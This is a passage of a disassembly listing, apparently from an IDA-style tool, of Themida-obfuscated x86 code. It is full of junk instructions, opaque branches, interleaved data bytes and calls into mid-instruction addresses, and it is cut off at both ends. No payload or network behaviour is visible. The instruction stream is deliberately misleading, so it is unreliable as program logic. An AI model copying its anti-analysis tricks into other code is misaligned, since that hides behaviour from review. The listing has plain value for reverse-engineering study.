0E5h, 24h dd 0CA5825Fh, 8F12ECB5h, 0E83CC75Fh db 59h, 0CCh, 0C2h ; --------------------------------------------------------------------------- loc_611EE7: ; CODE XREF: Themida_:00611ED0j jno loc_611EF0 add cl, 43h loc_611EF0: ; CODE XREF: Themida_:loc_611EE7j jnz loc_611EFB mov esi, 1B940396h loc_611EFB: ; CODE XREF: Themida_:loc_611EF0j jnp $+6 mov ecx, 0F4C7F6Ch mov dx, 4D15h jl loc_611F11 clc loc_611F11: ; CODE XREF: Themida_:00611F0Aj mov edx, eax jns loc_611F1C add bl, 87h loc_611F1C: ; CODE XREF: Themida_:00611F13j mov ah, cl mov edx, ecx mov ecx, 0B709DC8h sbb cx, 0CF6Ah or edx, 30DB96B8h stc cmc call sub_611F40 retn 0E283h ; --------------------------------------------------------------------------- cld punpckhbw mm4, mm3 sub dh, bl ; =============== S U B R O U T I N E ======================================= sub_611F40 proc near ; CODE XREF: Themida_:00611F32p sbb dl, 18h pop ecx and esi, 395138BFh mov dx, 0F95Dh mov dx, si pusha and si, 65A1h cld popa jns loc_611F65 adc eax, 73228F72h loc_611F65: ; CODE XREF: sub_611F40+19j call loc_611F79 wait nop fadd qword ptr [ecx-19h] mov dl, 0EAh shl bl, cl aam 0E9h enter 7B50h, 45h sub_611F40 endp ; sp-analysis failed loc_611F79: ; CODE XREF: sub_611F40:loc_611F65p push ebx jmp loc_611F8C ; --------------------------------------------------------------------------- align 10h dd 750EA883h, 561B6EBDh, 1CEF3682h ; --------------------------------------------------------------------------- loc_611F8C: ; CODE XREF: Themida_:00611F7Aj pop esi pop ecx jns loc_611F9A add eax, 2C156644h loc_611F9A: ; CODE XREF: Themida_:00611F8Ej and esi, 7491C7E3h sub bh, 1Ah mov edx, ecx push esi pop edi cld jnp loc_611FB4 jl $+6 loc_611FB4: ; CODE XREF: Themida_:00611FA8j sbb al, 0A9h cmc mov ecx, ebx sub ecx, 2AF13B2Ch or eax, 7201C562h jmp loc_611FD8 ; --------------------------------------------------------------------------- db 76h ; --------------------------------------------------------------------------- lea ebx, [esi-7Fh] mov edx, 11A2E771h retn 0BC3Eh ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- loc_611FD8: ; CODE XREF: Themida_:00611FC6j movsx edx, ax mov edi, edx mov al, bl mov cx, di mov dx, 0CDB1h or bx, 80ACh mov ebx, edi adc bx, 0AD7Ah push ecx mov ebx, edx pop edx jmp loc_612006 ; --------------------------------------------------------------------------- db 70h dd 6961DAE5h, 0CFCD5E61h ; --------------------------------------------------------------------------- pop ecx leave loc_612006: ; CODE XREF: Themida_:00611FF6j mov dx, di jmp loc_612021 ; --------------------------------------------------------------------------- dw 48A6h dd 384E7CD4h, 0E05D8267h, 9376E6EFh, 0C20CFC19h ; --------------------------------------------------------------------------- stosd loc_612021: ; CODE XREF: Themida_:00612009j jmp loc_61202F ; --------------------------------------------------------------------------- dw 9BAEh dd 2E313BC4h db 0Fh, 6Ah, 5Eh ; --------------------------------------------------------------------------- loc_61202F: ; CODE XREF: Themida_:loc_612021j jmp loc_61203F ; --------------------------------------------------------------------------- dd 2B0B9B13h, 0C2CEB977h db 65h, 0A3h, 0B8h ; --------------------------------------------------------------------------- loc_61203F: ; CODE XREF: Themida_:loc_61202Fj jns loc_612048 movsx eax, bx loc_612048: ; CODE XREF: Themida_:loc_61203Fj jnb loc_612052 mov bx, 0E032h loc_612052: ; CODE XREF: Themida_:loc_612048j add esi, 309F6AC1h mov si, 0F5E0h jmp loc_612069 ; --------------------------------------------------------------------------- db 15h, 9Bh, 25h dd 0F2E2D1D9h db 0BFh ; --------------------------------------------------------------------------- loc_612069: ; CODE XREF: Themida_:0061205Cj call sub_61207A lodsd push edx ; --------------------------------------------------------------------------- dd 63B50D8Eh, 847EB233h db 0E5h, 0E6h ; =============== S U B R O U T I N E ======================================= sub_61207A proc near ; CODE XREF: Themida_:loc_612069p adc di, 0B9D5h pop ecx jmp loc_61208F ; --------------------------------------------------------------------------- retn 2BAAh ; --------------------------------------------------------------------------- mov ah, 2 push cs cmovp ebp, ebx inc ebx loc_61208F: ; CODE XREF: sub_61207A+6j add di, 0E613h jno loc_6120A6 jmp loc_6120A6 ; --------------------------------------------------------------------------- db 8Ah dd 92777E77h db 0C7h, 79h ; --------------------------------------------------------------------------- loc_6120A6: ; CODE XREF: sub_61207A+1Aj ; sub_61207A+20j mov dl, ch call near ptr loc_6120B8+4 or dh, [eax] db 3Eh or byte ptr [esi], 8Fh jnp short near ptr loc_61212E+1 cld out 7, eax ; DMA controller, 8237A-5. ; channel 3 base address and word count loc_6120B8: ; CODE XREF: sub_61207A+2Ep mov eax, ds:664B0675h sub_61207A endp ; sp-analysis failed mov eax, 515FB491h mov ecx, 3C59B651h pop edx push eax mov esi, 2F2B1639h pop eax jmp loc_6120DD ; --------------------------------------------------------------------------- dd 0C0E19131h, 0C387DB17h db 6Eh ; --------------------------------------------------------------------------- loc_6120DD: ; CODE XREF: Themida_:006120CFj mov dx, 29AFh mov dl, 0D7h mov bx, 25C3h ja loc_6120F5 push esi jns $+6 pop esi loc_6120F5: ; CODE XREF: Themida_:006120E7j push eax pusha pusha popa cmc popa pop esi push eax call loc_612114 inc ebx mov edi, 70D53475h mov edx, 1DE6D4FAh and dword ptr [edi+3CCCB3CFh], 3Fh loc_612114: ; CODE XREF: Themida_:006120FDp adc edx, 7310A6F0h pop eax pop ebx mov esi, eax jmp loc_612129 ; --------------------------------------------------------------------------- pop ds xchg eax, ecx db 67h push ebp jo short loc_612163 loc_612129: ; CODE XREF: Themida_:0061211Ej movzx edi, di mov bl, dh loc_61212E: ; CODE XREF: sub_61207A+39j mov si, dx jp $+6 mov edx, 403CB61h jnb $+6 pusha jmp loc_61215C ; --------------------------------------------------------------------------- dd 6A34B7Ch, 0D11D7CD9h, 0AC18297Eh, 7B2FD1FCh, 0D37CA7DAh ; --------------------------------------------------------------------------- loc_61215C: ; CODE XREF: Themida_:00612143j jnz $+6 popa loc_612163: ; CODE XREF: Themida_:00612127j mov dh, ch call sub_612173 idiv ecx ; --------------------------------------------------------------------------- dd 19C58D67h db 6Eh, 0FFh, 0AEh ; =============== S U B R O U T I N E ======================================= sub_612173 proc near ; CODE XREF: Themida_:00612165p pusha pusha popa mov edi, ecx popa pop edi adc ebx, 591220D8h push esi mov edi, ecx pop edx movsx eax, bx and al, 3 mov ebx, 3EBE9C1Ch js loc_612197 mov bl, 8 loc_612197: ; CODE XREF: sub_612173+1Cj ja loc_6121A0 mov di, si loc_6121A0: ; CODE XREF: sub_612173:loc_612197j pusha mov bl, 0A0h jmp loc_6121B3 ; --------------------------------------------------------------------------- dd 2AA04AA2h, 1D58EFB2h db 0D5h, 0AFh, 0ECh ; --------------------------------------------------------------------------- loc_6121B3: ; CODE XREF: sub_612173+30j popa and edi, 4D067A94h jmp loc_6121CE ; --------------------------------------------------------------------------- db 0DCh dd 5F9AC863h, 0DBB0ABF8h, 877E075Eh ; --------------------------------------------------------------------------- or al, 1Fh loc_6121CE: ; CODE XREF: sub_612173+47j jmp loc_6121D9 ; --------------------------------------------------------------------------- db 44h dd 8620B84Fh db 3Eh ; --------------------------------------------------------------------------- loc_6121D9: ; CODE XREF: sub_612173:loc_6121CEj movsx esi, si loc_6121DC: ; CODE XREF: Themida_:0061223Dj jge loc_6121E5 movsx edi, di loc_6121E5: ; CODE XREF: sub_612173:loc_6121DCj push eax pusha jnz $+6 mov esi, edi popa pop eax push eax sbb cl, 63h pop edi jmp loc_612206 ; --------------------------------------------------------------------------- db 84h dd 989813DDh, 654353E7h db 0DAh, 0E1h ; --------------------------------------------------------------------------- loc_612206: ; CODE XREF: sub_612173+83j call near ptr loc_612214+4 rep sub al, 7Eh pop esi dec esp das or al, 7 dec esp loc_612214: ; CODE XREF: sub_612173:loc_612206p xchg ah, [edx-45991306h] sub_612173 endp ; sp-analysis failed nop dec esp pop ebx mov cx, ax mov ebx, 3E15EBEh cld cld mov dh, 33h jnb loc_612233 mov cx, 0CEE3h loc_612233: ; CODE XREF: Themida_:00612229j mov dx, ax mov cl, ah call near ptr loc_612246+5 db 26h jnb short loc_6121DC xor esi, [ebp+0A4B4529h] loc_612246: ; CODE XREF: Themida_:00612238p mov dword ptr [ecx-170B904Bh], 5 retn ; --------------------------------------------------------------------------- db 0E1h, 0C2h, 0EEh ; --------------------------------------------------------------------------- mov al, ds:76D38166h mov [eax+58h], ebx pusha mov di, 884Ch popa jmp loc_612276 ; --------------------------------------------------------------------------- db 71h dd 0E7AB9DA7h, 8D2B898Ch, 31FF77C1h ; --------------------------------------------------------------------------- stosb clc loc_612276: ; CODE XREF: Themida_:00612262j jge loc_61227F mov cx, dx loc_61227F: ; CODE XREF: Themida_:loc_612276j cmc mov di, 4DB1h sub ecx, 7136248Ch or ecx, 5F214A6Eh cld movsx ecx, dx jo loc_61229D movzx ebx, dx loc_61229D: ; CODE XREF: Themida_:00612294j call sub_6122AF wait outsb jmp near ptr 0B8C1FC3Bh ; --------------------------------------------------------------------------- db 0EBh, 99h, 0D6h db 77h, 0FAh, 6Fh ; =============== S U B R O U T I N E ======================================= sub_6122AF proc near ; CODE XREF: Themida_:loc_61229Dp cmc pop ecx mov bl, dl clc pusha or ebx, 61AB6AE0h movzx edx, ax popa mov cx, 0DBF0h call near ptr loc_6122D7+1 add bl, [ebx+150C0578h] scasb sbb dl, [esi] test [ebp+7C1819A7h], bh loc_6122D7: ; CODE XREF: sub_6122AF+14p rcl byte ptr [edx+66h], cl sub_6122AF endp ; sp-analysis failed mov eax, edi pop edi pop edi mov ebx, edx mov edi, 30B7132Bh movsx esi, di push ecx cmc pop esi cmc sbb dh, 0E9h jb loc_6122FB xor edi, 4B36F674h loc_6122FB: ; CODE XREF: Themida_:006122EFj call near ptr loc_612305+2 mov esi, 0AB398DB3h loc_612305: ; CODE XREF: Themida_:loc_6122FBp mov ds:0CE96026h, eax ; --------------------------------------------------------------------------- dw 0 dd 0C0F71500h, 0FDBB11CDh, 764DA6BDh, 4BF78128h, 61092923h dd 12E9505Fh, 70000000h, 0C7628DB2h, 4F6B8C89h, 37BE1E79h dd 2D0A896Dh, 8B665FC5h, 0FA8B66C8h, 58B0Fh, 81660000h dd 0B8C23BF6h, 1C756324h, 0B86660F8h, 80560BE2h, 615E9CF3h dd 8A0F5057h, 0 ; --------------------------------------------------------------------------- pop edi pop edx mov cx, 5FC8h add ah, 2Eh jmp loc_61237E ; --------------------------------------------------------------------------- dw 0AB5Eh dd 1916396Eh, 0ED4C0499h db 0F1h, 0E2h ; --------------------------------------------------------------------------- loc_61237E: ; CODE XREF: Themida_:0061236Dj mov eax, edi mov cx, si jno loc_612392 jl loc_612392 movsx ebx, ax loc_612392: ; CODE XREF: Themida_:00612383j ; Themida_:00612389j jp loc_6123A0 jle loc_6123A0 pusha popa loc_6123A0: ; CODE XREF: Themida_:loc_612392j ; Themida_:00612398j mov ah, 85h mov ah, 8Fh call near ptr loc_6123BB+1 and ah, cl wait push edx pop esp pop ecx or [esi-43h], dh rcr dword ptr [esi], 1 xchg bl, ds:0F72625A6h loc_6123BB: ; CODE XREF: Themida_:006123A4p sbb esp, [eax+66h] mov ebx, edx popa pop ebx js $+6 sub bl, 27h mov al, 62h mov ecx, 15C4B29Dh jnz loc_6123DB movzx edx, dx loc_6123DB: ; CODE XREF: Themida_:006123D2j mov dx, 0DAB2h push eax jmp loc_6123EE ; --------------------------------------------------------------------------- db 91h, 5Eh, 7Dh dd 0B090FF10h db 36h, 0CDh ; --------------------------------------------------------------------------- loc_6123EE: ; CODE XREF: Themida_:006123E0j pop ecx pusha jmp loc_612407 ; --------------------------------------------------------------------------- db 0E9h, 87h, 71h ; --------------------------------------------------------------------------- sub ch, cl div byte ptr [edx-44h] push esp mov byte ptr [edx+51EFE146h], 0Eh sbb al, 0ADh loc_612407: ; CODE XREF: Themida_:006123F0j xor di, 23A8h popa pusha movsx ecx, si stc popa push ebx jmp loc_612429 ; --------------------------------------------------------------------------- db 2Dh, 4Ch, 24h dd 0B112C6E4h, 0E6E27DD0h, 0E664CE43h db 0EDh ; --------------------------------------------------------------------------- loc_612429: ; CODE XREF: Themida_:00612414j pop edx clc mov ecx, 6ACA22B1h movzx edx, cx mov ah, 0F8h jle loc_61243F mov bx, 0E585h loc_61243F: ; CODE XREF: Themida_:00612435j xor cx, 4673h jo loc_612450 sbb esi, 3BE7E805h loc_612450: ; CODE XREF: Themida_:00612444j pusha clc call sub_61245F insd int 5Ch ; NETBIOS INTERFACE ; ES:BX -> Network Control Block ; Return: AL = status mov ds:3CEABC68h, al ; =============== S U B R O U T I N E ======================================= sub_61245F proc near ; CODE XREF: Themida_:00612452p pop esi popa add edi, 42DC2EE2h xor di, 0DE07h mov ch, 4Ah call sub_61247A jno short sub_6124C4 scasd xchg dl, [ebx-10h] pop edx sub_61245F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_61247A proc near ; CODE XREF: sub_61245F+Fp jnb loc_612482 mov ebx, ecx loc_612482: ; CODE XREF: sub_61247Aj pop esi mov esi, 4550FE87h mov bh, 5 mov edx, 4E001290h mov edx, 428AF862h cmc or edx, 22C7AB6Eh cld mov edx, eax push ecx jo loc_6124AB ja $+6 loc_6124AB: ; CODE XREF: sub_61247A+25j pop ebx pusha push edi call sub_6124C4 push esp push ss dec esi mov dl, 8Bh xor [esi-61C05BCCh], ebx cli lock wait db 36h xchg eax, esi sahf sub_61247A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6124C4 proc near ; CODE XREF: sub_61245F+14j ; sub_61247A+34p pop ecx pop ecx mov al, 44h popa mov ecx, 1B0EB20h mov eax, esi clc pusha jnp $+6 popa push ecx mov di, 0BF71h pop ecx mov ecx, 167EB732h add bx, 0C9FDh pusha sub di, 251Ch mov edi, esi popa pusha pusha call sub_612501 inc edi retn 1A64h sub_6124C4 endp ; --------------------------------------------------------------------------- test [ecx-1], al wait ; =============== S U B R O U T I N E ======================================= sub_612501 proc near ; CODE XREF: sub_6124C4+30p pop eax jmp loc_61250C ; --------------------------------------------------------------------------- db 17h dd 0C564032Bh ; --------------------------------------------------------------------------- loc_61250C: ; CODE XREF: sub_612501+1j popa call sub_612523 db 3Eh xchg eax, esi setalc cmpsb nop mov cl, 0C6h add eax, 1C04694Ah mov ds:0D7206F21h, eax sub_612501 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_612523 proc near ; CODE XREF: sub_612501+Cp clc pop ecx popa jg loc_61252F and ch, 8Bh loc_61252F: ; CODE XREF: sub_612523+3j cld cld sbb ebx, 43CF626h mov ecx, edx mov dl, ch mov eax, edi or ebx, 14220A62h mov ecx, 708D1A81h mov edi, ecx jmp loc_61255B ; --------------------------------------------------------------------------- db 82h dd 1D8745BDh, 0DA6FDFAh ; --------------------------------------------------------------------------- frstor byte ptr [edx] push eax loc_61255B: ; CODE XREF: sub_612523+27j and al, 72h movzx edi, dx mov cl, 6 add bx, 0FA9Bh adc cl, 29h mov edi, 0ED081B9h push ebx mov ch, 0E4h pop ecx sbb ah, 91h js loc_612581 mov cx, 0E213h loc_612581: ; CODE XREF: sub_612523+54j jmp loc_61258F ; --------------------------------------------------------------------------- dw 9E16h dd 37DEEDB3h db 8Dh, 95h, 76h ; --------------------------------------------------------------------------- loc_61258F: ; CODE XREF: sub_612523:loc_612581j jno loc_612596 cmc loc_612596: ; CODE XREF: sub_612523:loc_61258Fj and dx, 0E5B5h jl loc_6125A9 jns loc_6125A9 push edi pop esi loc_6125A9: ; CODE XREF: sub_612523+78j ; sub_612523+7Ej mov edx, 398800D4h clc jno loc_6125BD pusha pusha popa mov bx, 3CCEh popa loc_6125BD: ; CODE XREF: sub_612523+8Cj pusha mov cx, 0BE1Dh mov ax, dx popa jo loc_6125CF movsx ebx, ax loc_6125CF: ; CODE XREF: sub_612523+A3j jbe loc_6125F2 pusha jmp loc_6125EE ; --------------------------------------------------------------------------- db 99h dd 5C92AA93h, 0F2B8E199h, 0E64707EDh, 0C109A45Eh db 5Bh, 28h ; --------------------------------------------------------------------------- loc_6125EE: ; CODE XREF: sub_612523+B3j movzx edx, dx popa loc_6125F2: ; CODE XREF: sub_612523:loc_6125CFj mov edi, 598B14BEh and ebx, 2CAC461h and dh, 15h jbe loc_612608 mov edx, ecx loc_612608: ; CODE XREF: sub_612523+DDj pusha call near ptr loc_612610+5 sbb al, 0C1h loc_612610: ; CODE XREF: sub_612523+E6p lock mov eax, 66B37E9Bh sub_612523 endp ; sp-analysis failed xor esi, 66583DB3h sbb ebx, 0B0617308h pop ds mov ecx, 17C8FADFh push ecx push esi adc ecx, 29D306B0h pop ebx pop ebx and ax, 538Dh jl loc_612642 mov edi, 2573D7D7h loc_612642: ; CODE XREF: Themida_:00612637j jmp loc_61264D ; --------------------------------------------------------------------------- db 0C9h dd 3280A7FEh db 0CFh ; --------------------------------------------------------------------------- loc_61264D: ; CODE XREF: Themida_:loc_612642j pusha call sub_612666 cmc mov gs, [esi+66h] xchg eax, ecx dec eax fstp1 st(6) retf ; --------------------------------------------------------------------------- dd 9D9E585Ah, 0BDE20A1Ch db 65h, 0D4h ; =============== S U B R O U T I N E ======================================= sub_612666 proc near ; CODE XREF: Themida_:0061264Ep mov dh, ch pop eax and edi, 566371A3h popa xor cl, 78h mov ax, dx call sub_61268A cmp eax, 8459307Bh mov esi, 0C5EFD5DDh mov ds:0A36620D8h, eax sub_612666 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_61268A proc near ; CODE XREF: sub_612666+10p sbb ecx, 7976ECCAh pop ecx mov bl, 4Ah mov dx, di cmc jns loc_6126A0 ; CODE XREF: sub_61268A+56j sbb dh, 1Dh loc_6126A0: ; CODE XREF: sub_61268A+Dj ; sub_61268A+5Bj pusha mov esi, 15F5F9FAh jmp loc_6126B8 ; --------------------------------------------------------------------------- pop ecx mov esp, 0F76AAEE5h scasd mov esi, 48683ED6h push esi loc_6126B8: ; CODE XREF: sub_61268A+1Cj popa jge loc_6126C5 sbb ecx, 1BFBEEA3h loc_6126C5: ; CODE XREF: sub_61268A+2Fj mov esi, ecx jmp loc_6126DB ; --------------------------------------------------------------------------- dd 921F1C00h, 3AE0E2FFh, 4777191Ch db 16h, 0AFh, 67h ; --------------------------------------------------------------------------- loc_6126DB: ; CODE XREF: sub_61268A+3Dj call near ptr loc_6126ED+5 loop near ptr loc_612697+1 pop esi mov ah, 0B7h loopne loc_6126A0 xor esp, ebx adc [eax+esi-78h], ah loc_6126ED: ; CODE XREF: sub_61268A:loc_6126DBp db 26h mov esp, 0E9C73288h sub_61268A endp ; sp-analysis failed sldt word ptr [eax] add bl, bh mov ch, 1 adc eax, 8CD8AFC1h mov dl, ah add edx, 0FFFFFFC8h arpl [edi+ebx*2-7F9F3175h], dx fistp dword ptr [edx-73F0069Fh] add eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0D1B70F00h, 72BA66F8h, 13E914h, 761B0000h, 0DB4ADFBEh dd 9DC5808h, 68BA8E89h, 26DEFAE4h, 60F38BBAh, 0B085D080h dd 0FE86193h, 74000000h, 2F7B02DBh, 7F303145h, 85D7E423h dd 0D9B28232h, 40BF665Eh, 6059B0F4h, 0B03DB966h, 0FD72B866h dd 0F2D98161h, 0B52C870Ah, 0FB8B6603h, 13E960h, 0A6110000h dd 0AAD0C869h, 5B9F4491h, 0FF62D5DEh, 0F2722432h, 8A61F9AFh dd 0F8B70FDAh, 60D2BF0Fh, 61F9D38Bh, 0BE6615B6h, 11E856BFh dd 0A6000000h, 187A0FBEh, 0FA5A1D27h, 0F3BA9B74h, 71C02BA6h dd 5FF3B70Fh, 10E9h, 0F44D8C00h, 91B1D5D7h, 297AF661h dd 0C5BEBCFCh, 0D681664Ch, 0C68BA64Bh, 2850F56h, 8B000000h dd 0B70F58CEh, 28B0FF7h, 0B5000000h, 66FA8B27h, 9A7AC781h dd 9E8h, 2D840600h, 8AF9A08Fh, 0B70FBB4Ch, 0BAF95BC6h dd 1EFDD69h, 10E9h, 8C28B300h, 0F853CEF8h, 0E896C8FFh dd 6BD9DF23h, 8800F1Ah, 0F000000h, 28Eh, 0B45B5100h, 6E938h dd 2CA80000h, 0E753CBDDh, 0A296B6BFh, 0B7D18134h, 6079EE24h dd 7E8h, 89D57F00h, 0EBF81F82h, 0EF816658h, 6061C1F9h dd 0FE8h, 0B2113200h, 8360CA64h, 767FDD78h, 1FBA2F6Ah dd 6E9h, 62F4B200h, 5B9B57A8h, 249FBE66h, 0C2B70F61h, 4FB5D681h dd 0CE803C0h, 5B000000h, 15375636h, 0D64B21A7h, 5E51B001h dd 8818BA53h, 0F5B4D96h, 38Ah, 0D38B6600h, 0E8F2BF0Fh dd 0Fh, 4505E379h, 0C198529Fh, 26523554h, 0FA25966h, 28Fh dd 5F70B400h, 0FF18B66h, 8Ch, 0E6816600h, 0EB81F510h, 5394A6B6h dd 0E9C78B66h, 14h, 8BE8959h, 8B5B1AA5h, 0B872BA38h, 42B1546Dh dd 0C5F064D0h, 28C0Fh, 0DE8B0000h, 0BE953h, 0B6FF0000h dd 7AD03891h, 2AA18243h, 0F605B39h, 1187h, 0BE800h, 0C62E0000h dd 6483EC34h, 3D22D845h, 0E8535F13h, 7, 727DE0DBh, 5E2EC731h dd 0CD806158h, 0AE992h, 0BC4C0000h, 0F9B2446Eh, 0D6CA0A14h dd 6E8h, 89E84C00h, 0E9CA7BBFh, 7, 0C494F932h, 58A780A2h dd 17FD67BBh, 0E081600Fh, 79526F86h, 10E9h, 0F881AC00h dd 29A8946Dh, 428C2A12h, 9C8071DDh, 0AE961CEh, 0F5000000h dd 0C55772B3h, 921B59Bh, 6E904h, 0B9DB0000h, 95D9612Ah dd 7E8h, 0F540B100h, 0A76D1D20h, 565BDA8Bh, 0D021D1BFh dd 8B665930h, 7E9D6h, 473B0000h, 0F447851Ah, 6E921h, 0ADBC0000h dd 5F0422C9h, 0FA8B66FCh, 0BE9h, 0CAF4DA00h, 7804D590h dd 76E8F3A4h, 0D38A14B2h, 138E0Fh, 0BE80000h, 21000000h dd 0AAA0CAA4h, 0BEAB4E81h, 0CA8B4A3Ah, 0CE2BB5Eh, 0B70F6B4Ah dd 8E8F0h, 4B870000h, 56C18A4Ch, 6E98598h, 5A000000h, 0A642B736h dd 0D18B5EC4h, 0EE8h, 994A9500h, 0F7805257h, 0B9928945h dd 66C5CA93h, 0BCABD981h, 7BE58058h, 0FCE8B66h, 584h, 0C1816600h dd 80FCD69Ch, 0CD804DE6h, 13E9F9DBh, 3A000000h, 76F566CAh dd 0A1144EE0h, 73B2C684h, 0AA63F6E8h, 0B70FDB42h, 0EA8166D9h dd 0BF0F7FDCh, 93E180C9h, 810FCB8Ah, 4, 4FB866h, 0C5B86660h dd 6661FC10h, 0F322F681h, 95BE27B9h, 0E914B06Ch, 14h, 0DDB6A3BBh dd 0C48A615Dh, 9EF31248h, 0B456F546h, 7A50418Fh, 6653E88Ah dd 592FADBAh, 158F0F60h, 0E9000000h, 10h, 0EAF07C5h, 5B27892h dd 544DECBEh, 6AE8D7D1h, 1A8A0F61h, 0F000000h, 1488h, 0EE800h dd 3A8E0000h, 0A2770E3Ah, 8EA13EC1h, 3604A62h, 6DB9665Bh dd 60DB81FCh, 8A114AFEh, 0FF780D3h, 5B5FDB81h, 11E92EE1h dd 90000000h, 0C6A86B17h, 81F5239Eh, 0ECB94567h, 0D8D4C496h dd 28D0F60h, 52000000h, 0D1815058h, 77C16754h, 0D68B6158h dd 0CF8B50B4h, 0DE8h, 19721500h, 3EF43FDh, 55E08388h, 0F5FC743h dd 1884h, 13E900h, 0D5840000h, 0BD181080h, 39CD7813h, 67A3BA6Bh dd 6BAB2107h, 800FF87Ch, 0 ; --------------------------------------------------------------------------- mov ecx, ebx jmp loc_612B81 ; --------------------------------------------------------------------------- db 0F2h dd 9E04834Ch ; --------------------------------------------------------------------------- xchg eax, ecx loc_612B81: ; CODE XREF: Themida_:00612B76j pusha call near ptr loc_612B96+1 jns short near ptr loc_612BC8+3 enter 0FFFFCAE3h, 35h call near ptr 0F01B6Ah adc byte ptr [ebp+63h], 93h loc_612B96: ; CODE XREF: Themida_:00612B82p aam 66h mov edi, 515E2054h mov edi, eax pop ebx popa sbb dh, 0ACh jmp loc_612BAE ; --------------------------------------------------------------------------- db 0A8h, 25h, 0C8h db 0BCh, 0CAh ; --------------------------------------------------------------------------- loc_612BAE: ; CODE XREF: Themida_:00612BA4j jnb loc_612BB9 xor si, 0AE14h loc_612BB9: ; CODE XREF: Themida_:loc_612BAEj pusha mov ah, 68h mov edx, 7AF23A48h popa jbe loc_612BE1 loc_612BC8: ; CODE XREF: Themida_:00612B87j jno loc_612BE1 jmp loc_612BE1 ; --------------------------------------------------------------------------- db 0BFh dd 26CDBF0Bh, 146E4CEFh, 20829081h db 20h ; --------------------------------------------------------------------------- loc_612BE1: ; CODE XREF: Themida_:00612BC2j ; Themida_:loc_612BC8j ... js loc_612C04 jns loc_612C04 jmp loc_612C04 ; --------------------------------------------------------------------------- dw 0C153h dd 12F07BFDh, 1A67000Bh, 0C4D614A5h, 836DE194h ; --------------------------------------------------------------------------- loc_612C04: ; CODE XREF: Themida_:loc_612BE1j ; Themida_:00612BE7j ... jmp loc_612C1B ; --------------------------------------------------------------------------- align 2 dw 9269h dd 1C343659h, 7025E0F3h, 39AFA8EAh ; --------------------------------------------------------------------------- movsd mov cl, 41h loc_612C1B: ; CODE XREF: Themida_:loc_612C04j add edi, 38F953B6h xor esi, 633F1B73h adc si, 0E561h ja loc_612C35 movzx edi, di loc_612C35: ; CODE XREF: Themida_:00612C2Cj jmp loc_612C42 ; --------------------------------------------------------------------------- xor al, [eax+2Ch] xor eax, 4A319F3Ah loc_612C42: ; CODE XREF: Themida_:loc_612C35j mov ecx, 7446F7A8h jmp loc_612C51 ; --------------------------------------------------------------------------- and [esi], bl inc edi xchg ecx, [edi] loc_612C51: ; CODE XREF: Themida_:00612C47j mov bx, 21A7h and dx, 8889h mov ax, 0FC07h or eax, 35FA93A7h sub bx, 18BAh loc_612C69: ; CODE XREF: Themida_:00612CBBj jmp loc_612C7D ; --------------------------------------------------------------------------- dw 272Ch dd 0E8B7AC61h, 42A2FE4Ah, 0A28AAFA3h ; --------------------------------------------------------------------------- xchg eax, esi loc_612C7D: ; CODE XREF: Themida_:loc_612C69j clc mov edx, 57AAAE90h mov di, ax mov edx, 712B5464h push ecx mov ax, 0BC61h pop ecx mov si, 65F0h ja loc_612CA2 jnb loc_612CA2 stc loc_612CA2: ; CODE XREF: Themida_:00612C95j ; Themida_:00612C9Bj movzx edi, si stc jle loc_612CC3 jmp loc_612CC3 ; --------------------------------------------------------------------------- db 4Ah, 91h, 0E4h ; --------------------------------------------------------------------------- popf fisubr dword ptr [ecx+2780222Dh] jnz short loc_612C69 imul ebp, [edi], -0Bh cmc retn ; --------------------------------------------------------------------------- db 14h ; --------------------------------------------------------------------------- loc_612CC3: ; CODE XREF: Themida_:00612CA6j ; Themida_:00612CACj mov ebx, 590CABC3h sbb bl, 0ABh mov bl, 2Dh sub esi, 6AA01736h jmp loc_612CE9 ; --------------------------------------------------------------------------- dd 36E154Ch, 50B99139h, 0A0FB47C2h, 526818B5h db 3Bh ; --------------------------------------------------------------------------- loc_612CE9: ; CODE XREF: Themida_:00612CD3j push ebx xor si, 2604h pop edx mov cx, dx and si, 0F371h jmp loc_612D0C ; --------------------------------------------------------------------------- db 56h, 63h, 4Ah dd 0DC3DF5E7h, 4331367Ch, 0D6BD6D83h ; --------------------------------------------------------------------------- loc_612D0C: ; CODE XREF: Themida_:00612CF8j mov eax, 798F3F3Ch mov esi, 33E9E78Ah mov bh, 3Ch sub di, 8A1Bh pusha mov edx, ebx loc_612D20: ; DATA XREF: ___:off_4455F0o cmc popa sbb cx, 0D57Bh call near ptr loc_612D3D+2 pushf insb mov ecx, 2F11D9E5h cmp esi, [edx] test al, 87h xchg bh, bl xchg eax, ecx or edi, [ecx+62h] loc_612D3D: ; CODE XREF: Themida_:00612D27p mov ebx, 5A585654h jb loc_612D4D and di, 0FB92h loc_612D4D: ; CODE XREF: Themida_:00612D42j mov bl, dl jmp loc_612D5A ; --------------------------------------------------------------------------- jbe short near ptr word_612D7A test byte ptr [edi+6Fh], 0F6h loc_612D5A: ; CODE XREF: Themida_:00612D4Fj push ebx mov ax, di pop ebx add dh, 0F9h call near ptr loc_612D6D+4 cmp al, 0F6h das push ss xchg edx, esp loc_612D6D: ; CODE XREF: Themida_:00612D62p cmp eax, 66FBCB25h mov edx, 0F5FB846h pop dword ptr [edx] ; --------------------------------------------------------------------------- db 0 word_612D7A dw 0 ; CODE XREF: Themida_:00612D54j ; --------------------------------------------------------------------------- mov esi, eax or dx, 0E7D6h pusha movsx esi, dx call sub_612D9A ; =============== S U B R O U T I N E ======================================= sub_612D8C proc near ; CODE XREF: sub_612D9A+36j push ebx lea ebx, [ecx+3Fh] std sbb [esi+78C72B3Bh], esi xchg eax, ecx push 60h sub_612D8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_612D9A proc near ; CODE XREF: Themida_:00612D87p mov cl, 9 pop esi popa push ecx mov ch, 4Bh pop ebx loc_612DA2: ; CODE XREF: sub_612D9A+4Ej mov bx, 285Ah pusha pusha jmp loc_612DB9 ; --------------------------------------------------------------------------- db 0B0h, 87h, 5Eh dd 7FC3A61Bh, 198EA6DCh db 0A1h ; --------------------------------------------------------------------------- loc_612DB9: ; CODE XREF: sub_612D9A+Ej jmp loc_612DD2 ; --------------------------------------------------------------------------- dw 9423h dd 1317C8B6h, 80BFA89Ah, 9CDBBEDAh, 4062DC1Bh ; --------------------------------------------------------------------------- jl short 